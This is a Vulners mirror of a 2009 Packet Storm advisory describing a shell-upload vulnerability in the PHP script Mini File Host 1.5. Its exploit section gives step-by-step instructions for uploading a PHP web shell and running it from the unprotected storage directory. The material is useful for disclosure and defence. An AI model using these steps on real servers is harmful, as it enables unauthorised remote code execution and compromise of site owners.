Lucene search
K

Mini File Host 1.5 Shell Upload

🗓️ 22 Dec 2009 00:00:00Reported by Mr.ZType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

Mini File Host 1.5 Shell Upload vulnerability in PH

Code
`=====================================================================  
  
=========  
_ _ _ _ _ _  
/ \ | | | | / \ | | | |  
/ _ \ | | | | / _ \ | |_| |  
/ ___ \ | |___ | |___ / ___ \ | _ |  
IN THE NAME OF /_/ \_\ |_____| |_____| /_/ \_\ |_| |_|  
  
  
=====================================================================  
  
=========  
[»] ~ Note : This vulnerability allows you to upload if the "storage" file isn't protected with a htaccess file or  
  
anything else  
=====================================================================  
  
=========  
[»] Mini File Host v1.5 Remote File Upload Vulnerability  
=====================================================================  
  
=========  
  
[»] Script: [ Mini File Host ]  
[»] Language: [ PHP ]  
[»] Site page: [ Mini File Host v1.5 ]  
[»] Download: [ http://www.hotscripts.com/listing/mini-file-host/ ]  
[»] Founder: [ Mr.Z <[email protected]> ]  
[»] Greetz to: [ all muslims , ViRuSMaN ]  
  
###########################################################################  
  
===[ Exploit ]===  
  
Click on "Browse" and select your php shell  
Click Upload  
After it finishs , you will see this meassage (  
  
Your file was uploaded!  
  
Your download link  
  
http://server/script/download.php?file=328shell.php  
  
)  
  
Copy the new Name of the shell "328shell.php"  
  
Now Go to this Url  
  
http://server/script/storage/328shell.php  
  
if "Storage" wasn't protected your shell will open  
  
  
Author: Mr.Z <-  
  
###########################################################################  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Dec 2009 00:00Current
7.4High risk
Vulners AI Score7.4
31